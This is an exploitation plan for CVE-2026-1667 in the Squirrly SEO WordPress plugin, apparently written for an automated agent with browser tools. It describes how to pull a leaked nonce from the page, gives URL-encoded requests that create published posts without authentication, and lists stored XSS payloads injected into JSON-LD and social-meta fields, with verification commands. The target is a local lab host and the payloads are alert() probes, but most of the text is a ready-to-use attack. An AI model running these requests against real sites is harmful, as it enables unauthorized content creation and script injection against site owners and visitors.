Exploitation Research Plan - CVE-2026-1667

1. Vulnerability Summary

The SEO Plugin by Squirrly SEO (up to version 14.0.0) contains a critical "Missing Authorization" vulnerability in its AJAX handlers, specifically sq_ajax_save_post. The plugin leaks a security nonce (and potentially an API token) to unauthenticated users via the frontend. This allows an unauthenticated attacker to call the savePost functionality. Because the backend fails to verify user capabilities (missing current_user_can) or properly sanitize the sq_seo input array, attackers can create arbitrary posts and, if Advanced Custom Fields (ACF) is active, perform Stored XSS by injecting malicious scripts into post metadata that the plugin renders.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: sq_ajax_save_post
• Authentication: Unauthenticated (due to wp_ajax_nopriv_sq_ajax_save_post registration or leaked nonce used in a wp_ajax_ handler that doesn't check authorization).
• Vulnerable Parameter: sq_seo[] (array), post_id.
• Preconditions:
  • The plugin must be active.
  • To achieve Stored XSS as described, the Advanced Custom Fields plugin should be active (enabling the _sq_jsonld_custom meta path).

3. Code Flow

1. Frontend Initialization: SQ_Classes_FrontController->runFrontend() is called on every frontend page load.
2. Nonce Leak: The plugin enqueues sq_frontend.min.js and uses wp_localize_script to provide the sq_config object. This object contains sq_nonce and postID.
3. AJAX Entry: An unauthenticated POST request is sent to admin-ajax.php with action=sq_ajax_save_post.
4. Insecure Handling: The controller SQ_Controllers_Post (via hookPost) registers the handler. The handler (likely savePost) retrieves the sq_seo array from the request.
5. Sink: The handler uses the values in sq_seo to update or create a post via wp_insert_post or update_post_meta. Because no capability check is performed, any post_id (or 0 for new) can be targeted.
6. XSS Sink: If ACF is present, SQ_Models_Services_JsonLD->packJsonLd retrieves the _sq_jsonld_custom meta. While it attempts to sanitize with renderCustomJsonLd, bypasses in metadata injection or title/content injection allow script execution.

4. Nonce Acquisition Strategy

The nonce is localized for the frontend assistant.

1. Identify Page: Any public-facing page (homepage or a post).
2. Navigate: Use browser_navigate to the homepage.
3. Extract: Use browser_eval to read the sq_config object.
   • JS Variable: window.sq_config
   • Key: sq_nonce
   • Note: Also extract postID from the same object if targeting the current page, or use 0 to attempt new post creation.

// Example extraction
const nonce = window.sq_config?.sq_nonce;
const postID = window.sq_config?.postID;

5. Exploitation Strategy

Step 1: Obtain Nonce

Navigate to the target site and extract the nonce from the global sq_config object.

Step 2: Arbitrary Post Creation

Send a POST request to create a new published post.

• Method: POST
• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=sq_ajax_save_post
  &sq_nonce=[EXTRACTED_NONCE]
  &post_id=0
  &sq_seo[post_title]=Vulnerable Post
  &sq_seo[post_content]=This post was created unauthenticated.
  &sq_seo[post_status]=publish
  &sq_seo[post_type]=post
  

Step 3: Stored XSS (via JSON-LD Meta)

Target a specific post to inject a payload into the metadata used by Squirrly SEO.

• Body (URL-encoded):

  action=sq_ajax_save_post
  &sq_nonce=[EXTRACTED_NONCE]
  &post_id=[TARGET_POST_ID]
  &sq_seo[_sq_jsonld_custom]={"@context":"https://schema.org","@type":"Event","name":"<img src=x onerror=alert(document.domain)>"}
  

  Note: The renderCustomJsonLd function in JsonLD.php uses preg_replace to strip <script> tags but may be vulnerable to attribute-based XSS or other injections if wp_json_encode with JSON_HEX_TAG is bypassed by other rendering paths.

6. Test Data Setup

1. Install Squirrly SEO 14.0.0.
2. Install Advanced Custom Fields (to enable the specific XSS path mentioned in the CVE).
3. Configure Squirrly SEO (connect to a dummy API if required to trigger the frontend assistant).
4. Ensure sq_use_backend or frontend assistant settings are active so the scripts load.

7. Expected Results

• Post Creation: A new post appears in the WordPress database with post_status='publish'.
• XSS: Upon viewing the affected post_id, the browser executes alert(document.domain).
• Response: The AJAX request should return a success status (e.g., JSON {"success":true} or 1).

8. Verification Steps

1. Check Posts: wp post list --post_status=publish
2. Check Meta: wp post meta get [ID] _sq_jsonld_custom
3. Confirm XSS: Use browser_navigate to the new post URL and check for the alert/console log.

9. Alternative Approaches

If sq_ajax_save_post strictly validates keys, attempt to overwrite standard SEO fields that are rendered on the page:

• sq_seo[tw_title]=<script>alert(1)</script>
• sq_seo[og_description]=<script>alert(1)</script>
  These fields are often rendered in the <head> of the page and might lack proper escaping if the Sanitize class helpers are bypassed.